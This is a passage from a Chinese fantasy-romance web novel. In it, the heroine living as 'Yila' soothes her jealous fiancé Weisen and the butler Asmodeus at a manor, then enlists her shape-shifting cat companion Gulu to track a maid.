“我现在就送你回巴特家族,我有能力让你成为掌权人,只要你——幸福。”
纪觅依看着维森这个样子,顿时手足无措,她深吸一口气,此刻对真相的纠结毫无益处,伊拉的警告提醒着她,必须稳住维森,顺利回到庄园。
“维森,别哭了。”她松开匕首,伸出手捧过维森的脸,抹去他的眼泪,“我什么都没说,你就哭成这样。”
“如果你不想说,那就不说吧。”
她选择退让一步,这件事既然无法从他口中得知,那就暂时放下。
维森颤抖着嘴唇,可怜兮兮地问着:
“你真的不讨厌我吗?明明我这么坏......”
纪觅依没有直接回答他的第一个问题,只是说道:“我也不是什么好人。这是你和阿斯莫德的事情,我也无权插手,只希望你记得——”
她在他的伤疤上轻轻敲了三下。
“这并不难看,不是什么见不得人的事。”
“我也没有被吓到。维森,希望你放下那些想法,如果你相信我并愿意改变,就别带着它了。”
纪觅依将地上的面具拾起,放在维森手中。
维森呜咽一声,将她抱在怀里,纪觅依听着耳边他压抑已久的啜泣声:
“嗯,都听你的。谢谢你......”
纪觅依任由他这样抱着,轻拍着他的后背,安抚着怀中哭成泪人的未婚夫。
她的大脑却从未停止过思考:
这次在马车上,她居然罕见地没有昏迷,那之前失去意识的几次,是规则的严苛要求,还是伊拉的手笔?
而维森和阿斯莫德,她到底应该相信谁?
谁,才是真正的主持人?
这一切的一切,都在掩盖着一个更大的秘密,带领着她回到那座逐渐靠近的庄园。
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“伊拉小姐,维森先生,请下车吧。”
在马车稳下后,阿斯莫德的声音从车厢外传来。
纪觅依轻推着维森,捡回匕首,压低声音说道:“好了,该下车了。”
维森恋恋不舍地从她温热的怀抱中脱离,娇羞地捧着面具,却在她打开车门后立即收回这副表情。
车门敞开,庄园熟悉的轮廓在渐沉的暮色中显现,纪觅依提着裙摆走下马车,一抬头就对上了阿斯莫德的目光。
他站在不远处,保持着管家得体的姿态,视线却毫不掩饰地落在她脸上。
可当他看见拿着面具、从容下车后走到纪觅依身边的维森,表情瞬间凝固,眼底的情绪晦涩难辨。
维森伸出手,带着显而易见的示威,纪觅依无奈一笑,搭在其上。
这一幕落在阿斯莫德眼里,变了味道,浓浓的酸意从他心口蔓延,他紧咬牙关,忍下所有不该出现在自己身上的情绪。
“阿斯莫德,天色这么晚了,去准备晚饭吧。”
这时维森的命令声恰好响起,阿斯莫德俯身,背在身后的手紧捏,似乎下一秒就要将压抑许久的怒火释放而出。
“阿斯莫德,做点简单的就好,辛苦你了。”
纪觅依将手抽离出来,收回到自己身侧,顺带着瞪了一眼不依不饶的维森。
而阿斯莫德在听到了她这句话厚,气焰瞬间熄灭,那一刻所有不满被全然抚平。
“好。”他站直身子,回应着纪觅依,转身向主楼走去。
等他完全消失在眼前时,维森凑到她身边,不爽地嘟囔着:
“明明我也很辛苦,你对他就很温柔......你就是偏心!明明我才是你的未婚夫。”
纪觅依停
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下脚步,哭笑不得的抬起手,在维森脑门上一弹。
“你又在想些什么?我这样做是因为阿斯莫德帮了你我二人很多,今后庄园的大小事务也需要麻烦他。”
她转而踮起脚,揉了揉维森的脑袋:“我不喜欢无理取闹的丈夫,所以你得乖乖的听话,我又不会骗你。”
她继续向前走去,心中忍不住唾弃自己,来到这个世界之后,可真是变了不少。
要是以前,这种PUA的话术绝对不会从她口中说出。
没办法,在得到真相前,这两个都是活祖宗,都得哄好。
就是这番被她自我嫌弃的话,在维森身上极其奏效,他立马消停下来,乖巧地跟在她身后,紧随她的脚步走到餐厅。
他默默拉开主座的椅子,随后坐在其右侧,等待纪觅依坐下。
“维森,你坐在这。”
维森有些不情愿的起身,又牢牢遵守着她口中“乖乖听话”的要求,老实坐下,不舍地看着她走向自己正对面的位置。
纪觅依微抬下巴,从容坐下并说道:“这样抬头就能看到你,比那个位置更好。”
她已经熟练地找到同时稳住这两个人的平衡点,对面的维森欣然接受了这个理由,手撑着下巴,注视着离自己不远的心上人。
就在纪觅依被这长时间的深情注视搞得鸡皮疙瘩直冒时,阿斯莫德终于推着餐车,缓步走来。
“不好意思,让二位久等了。”
他将餐盘和刀叉放在纪觅依面前,随后向维森走去。
而维森并未否定他服侍的顺序,只是沉默地拿起刀叉,一边用餐一边看着故意避开视线的纪觅依。
晚餐就在这种奇妙的氛围中结束,被两道视线锁住的纪觅依食不知味,在二人都没反应过来时,握着匕首起身向楼上走去。
“我累了,想先休息。”
楼上传来她的声音,维森和阿斯莫德都停下了手中的动作,对视一眼后向楼上看去。
房间内,纪觅依将门关好后,走到床头柜放下匕首,一把扑到床上。
“好累啊——”
她趴着,将被子团起,捂住脑袋大喊一声,释放着积蓄已久的压力。
“咕噜?”
咕噜从她手链上落下,逐渐膨胀,歪着脑袋盯着纪觅依,随后一道灵光闪过,化作一只纯白的小猫,费力地钻进被子中。
当纪觅依的脸贴上这暖乎乎的一团时,她微微一愣,将被子掀开并坐起,盯着正在翻着肚皮的咕噜。
“好宝,差点把你忘了!”她扑向咕噜,埋在它的肚皮上。
“辛苦了,摸摸你哟!”
它甜甜的声音传来,纪觅依感受着轻拍在头顶的小肉爪和扫过脸侧的尾巴,顿时放松下来,这几日高度绷紧的神经终于得以喘息的机会。
“话说,咕噜。”
“嗯?”
她侧着脸贴上它,感受着柔软肚皮的颤动。
“我忘了问你,我离开庄园前的那个晚上,为什么找不到你?”
“我当时很早就钻出来,准备找你了,但下一秒又被塞回自己的空间了,喵唔——”
它抽回被掐住尾巴尖的长尾,继续回忆道:“我等了很久很久,尝试了很多很多次,才从空间里出来,可到那时候,你就不在庄园了,我也不知道怎么找你。”
纪觅依揉了揉怀里骤然落寞的咕噜,翻身将它抱在怀里。
看来咕噜也受到了限制,那这股力量究竟来自于这个世界规则,还是......人?
“叩叩——”
“亲爱的伊拉,你已经歇下了吗?”
维森的声音从门外传来。
39. 赶榜单
“嘘——”
纪觅依一个眼神递出,咕噜心领神会,悄悄压扁自己,躲在枕头底下。
她走向门口,拉开门就见到了笑脸盈盈的维森。
“不好意思,伊拉,打扰了你休息。”
纪觅依的左手抚上门框,盯着此时格外有分寸感的维森。
总感觉,他这个样子,没安好心。
“我只是想提醒你一件事,你准备多久将我们的婚约告诉阿斯莫德呢?”
果然!
他看着纪觅依微变的脸色,马上又补充道:“当然,我不是在质疑你,亲爱的,我只是怕你忘记了。”
这小心翼翼的样子可不像是他。
纪觅依心中不由一笑,接下了对方铺下的台阶:“谢谢你的提醒,不过——”
在维森期待又忐忑的眼神中,她继续说道:
“过几天好吗?我有些太累了,这时候准备婚礼也有点太早了。”
“求你了,伊拉。”维森试探地扯着她的衣袖摇了摇,“给我一个准确的时间好吗?哪怕不是明天也行?”
合着刚才说的过几天是给自己听的?
纪觅依无语,同时也知道,必须给他一个满意的答案。
“后天吧,后天的......晚餐,可以吗?”
“可以。”维森得到自己满意的答案后,放开了她的袖子,退后半步,“那你早点休息,祝你有个好梦,亲爱的。”
他注视着纪觅依,直到门缝合拢,隔绝了屋内她的身影。
走廊的阴影中,他脸上那抹乖巧的笑容如潮水般退去,指尖在冰冷的门板上划过,转身离去并低声自语:“后天——”
“我等你。”
房间内。
纪觅依掀开被子,先于它出现的是一声弱弱的“咕?”
咕噜从枕下爬出,抖了几下,又变回一个毛茸茸的小猫。
“是维森吗?”它跳到纪觅依脚边,尾巴勾上她的脚腕,“我不喜欢他!”
纪觅依听到这奶凶的声音,笑着反问道:“为什么啊?”
咕噜撅着嘴,回答道:“没有原因,就是不喜欢!我不喜欢他,也不喜欢阿斯莫德!”
她蹲下身,伸出手指拨弄了两下它的胡须,柔声说道:“这里你谁都不喜欢,那呆在这岂不是很难受。”
“不!”它跳进她怀里,“我喜欢你,我就只喜欢你!而且,我也没有一直在这里。”
“哦?”
这句话一下引起了纪觅依的思索,她揉着它的脑袋问道:“咕噜,你的意思是,你之前不在这个庄园?”
“我——”咕噜揣着手,努力回忆着,“我,我不知道,可是我总感觉,我没有一直待在这里,那我之前在哪?”
看样子它还没有想起那段记忆,为了避免它再次头疼,她戳着它的小脑袋,宽慰着:“没事,想不起来也没事。”
有了咕噜这句话,再加上之前发现的日记,这足以说明它之前确实不存在于这个庄园。
这个世界的变因真的是自己吗?
纪觅依不由自我怀疑——
我真的有这么独特吗?
咕噜的出现,阿斯莫德管家身份下的私情,维森无条件的帮助......
这种种,指向的都是伊拉背后的自己。
而这样的她,正走在前人都未踏上的路途,真相如此触手可及,那就,更不应该犹豫!
不管怎样,后天这个大考验都是她必须面对的,哪怕她深知,这次宣告定会成为一个激怒阿斯莫德的爆点。
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所以在此之前,她必须冒险一次,来推进破局的进度。
纪觅依起身,走向窗边,看着花园远处、在黑夜中静谧的森林,暗暗下定决心。
“咕噜,我想请你帮我个忙,但在这个请求之前,我想问一下。”
怀里的咕噜果断回答:“问吧,我肯定会帮你的。”
“好。”纪觅依轻轻顺着它的毛,温柔地注视着怀里的白猫,“你白天能出来吗?”
“这个嘛......”
听着它为难的语气,她多多少少有些失落。
“其实,也可以,但我需要喝一点那个。”它顿了顿,似乎在苦恼怎么描述,“那个香香的......”
“浴缸里那个药水?”
咕噜跳下,平稳地落在地板上,尾巴高高竖起,激动道:“对!有了它,我的力量就可以增长,到了白天也不用躲起来啦!”
咕噜无意识地告诉了纪觅依,它每到早晨就消失的原因。与此同时,也给她抛下了难题——
该如何得到维森的药水?
直接要?这难免会引起他怀疑,毕竟很有可能限制咕噜行动的,就是他。
纪觅依一边思考着对策,一边和咕噜商量道:“那如果,你能在白天行动的话,你能帮我跟踪一个人吗?”
“当然可以!谁啊谁啊?”
“一个女仆,她每天都要搬走那里的衣服。”她手指向穿衣镜旁的椅子,“我要你跟踪她,并且在森林里给我留下标记,你可以做到吗?”
她蹲下,看着正在兴头上的咕噜,担心道:“如果不可以的话,你一定要拒绝,不要逞强。”
“我可以!”
它迫不及待回应着,变回了史莱姆的模样。
“留标记是吗?你看!”